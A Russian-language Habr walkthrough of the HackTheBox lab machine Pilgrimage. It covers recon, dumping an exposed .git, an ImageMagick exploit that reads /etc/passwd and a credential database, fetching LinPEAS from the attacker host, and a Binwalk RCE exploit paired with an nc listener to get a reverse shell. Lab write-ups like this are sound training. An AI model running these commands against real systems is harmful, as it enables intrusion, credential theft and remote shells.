HTB Pilgrimage. Получаем reverse-shell с помощью уязвимости в Binwalk

Привет, Хабр, на связи лаборатория кибербезопасности компании AP Security! Сегодня пройдем с вами Linux-машину на HackTheBox под названием Pilgrimage.

a7f313d8f663734b4cbae51583f10907.png

Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях

Сканирование и разведка

Для обнаружения активных сервисов просканируем машину с помощью Nmap:

nmap -sC -sV -p- -T4 10.10.11.219

80f5265323dc6372b2c1696d86c6cd4f.png

На машине активны только две службы: ssh и http. Добавим ip-адрес машины в /etc/hosts и попробуем зайти на веб-страницу:

10.10.11.219 pilgrimage.htb

84addd5e74f2e53c81b90e7197655616.png



Сервис для загрузки изображений. На первый взгляд вроде ничего примечательного. Попробуем запустить dirsearch для поиска интересных директорий:

dirsearch -u http://pilgrimage.htb

b4ab969631dc0476dc0e7b2bbaa3dacf.png

Заметим среди найденных директорий /.git. Выкачаем все файлы с помощью утилиты git-dumper:

python3 git_dumper.py http://pilgrimage/.git ~/pilgrimage.htb

5ad982add721d420572b9f1d2e606e32.png

Среди содержимого будут находится следующие файлы:

d7dd02a244d8f1e527d3354a00622e82.png



Точка входа

Заметим утилиту magick, которая является обработчиком изображений. Запустим ее, чтобы узнать версию:

60922521b0709784cf45961523d91d0d.png

Погуглив, найдем эксплойт для этой версии magick, который позволяет читать содержимое файловой системы. Скачаем и запустим эксплойт:

python3 generate.py -f "/etc/passwd" -o exploit.png

a21277b4ea5619728621ab0bc9fac045.png

После того как мы сгенерировали картинку, загрузим ее на веб-сервисе. Теперь, чтобы увидеть результат работы эксплойта нам нужно скачать наше изображение. Через Burp-Suit отследим в какую директорию попадают все загруженные изображения:

8e05a86c9a956d99b892542fa04280ee.png



Воспользуемся wget, чтобы скачать изображение:

wget http://pilgrimage.htb/shrunk/654a5d9ea01d4.png

0fe7586f41fba3dd726a1ca45469c295.png

Достанем содержимое с помощью утилиты identify:

identify -verbose 654a5d9ea01d4.png

Среди всех данных об изображении увидим закодированный в hex текст. Поместим его в текстовый файл и раскодируем с помощью xxd:

cat hex.txt | xxd -r -p

801c4aa74bf9498f63e2378f9efc12dd.png

Эксплойт действительно работает! Как же нам воспользоваться этим, чтобы достать полезные нам данные? Просматривая файлы, которые мы выкачивали с помощью git-dumper, обнаружим базу данных:

36d3c8aab84f145faee1edae5f3dac58.png

Вместо /etc/passwd укажем директорию с базой данных:

python3 generate.py -f "/var/db/pilgrimage" -o sql.png

3688cb6b56dbf33a2f9a3f5e87ae916c.png

Также загрузим изображение на сайт, выгрузим его с wget и просмотрим содержимое:

334e31344f1d8c5aea96e94a7e571ef3.png

Пользователя Emily мы уже видели ранее. А это вероятно всего креды для ssh. Чтобы удостовериться в этом, попробуем подключиться к машине:

ssh emily@10.10.11.219

4b11ff301f5bcaa8be3240572c34b6a1.png



Успешно! Здесь и будет лежать флаг пользователя user.txt.

Повышение привилегий

Для обнаружения возможных путей повышения привилегий воспользуемся утилитой LinPEAS. Для доставки на машину также воспользуемся python3 http.server и wget:

python3 -m http.server 80
wget http://10.10.16.44/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

f073f6ddf7b04c126b86d2f35d7d1037.png

Просмотрев все подсвеченные файлы и директории, не обнаружим ничего интересного. Однако увидим файл с примечательным названием malwarescan.sh. Посмотрим его содержимое:

e763f2f22d9af321b167652267fec4b4.png

Даный скрипт обрабатывает файлы при помощи утилиты binwalk. Запустим ее, чтобы посмотреть версию инструмента:

2fbbb30ea89b15721a2da245d95a2b13.png

Под данную версию есть эксплойт, позволяющий выполнить удаленное исполнение кода.

python3 51249.py image.png 10.10.16.44 8000

В качестве параметров указываем используемое изображение, адрес нашей машины и порт, с которого мы будем прослушивать соединение.

Сохраненное изображение также перекидываем с помощью wget:

wget http://10.10.16.44/binwalk_exploit.png

Запустим netcat и скопируем изображение в /var/www/pilgrimage.htb/shrunk/:

nc -lvnp 8000
cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/exploit.png

26b08d39b50fb1c92ae1c7604331bf01.png

Машина пройдена!

© Habrahabr.ru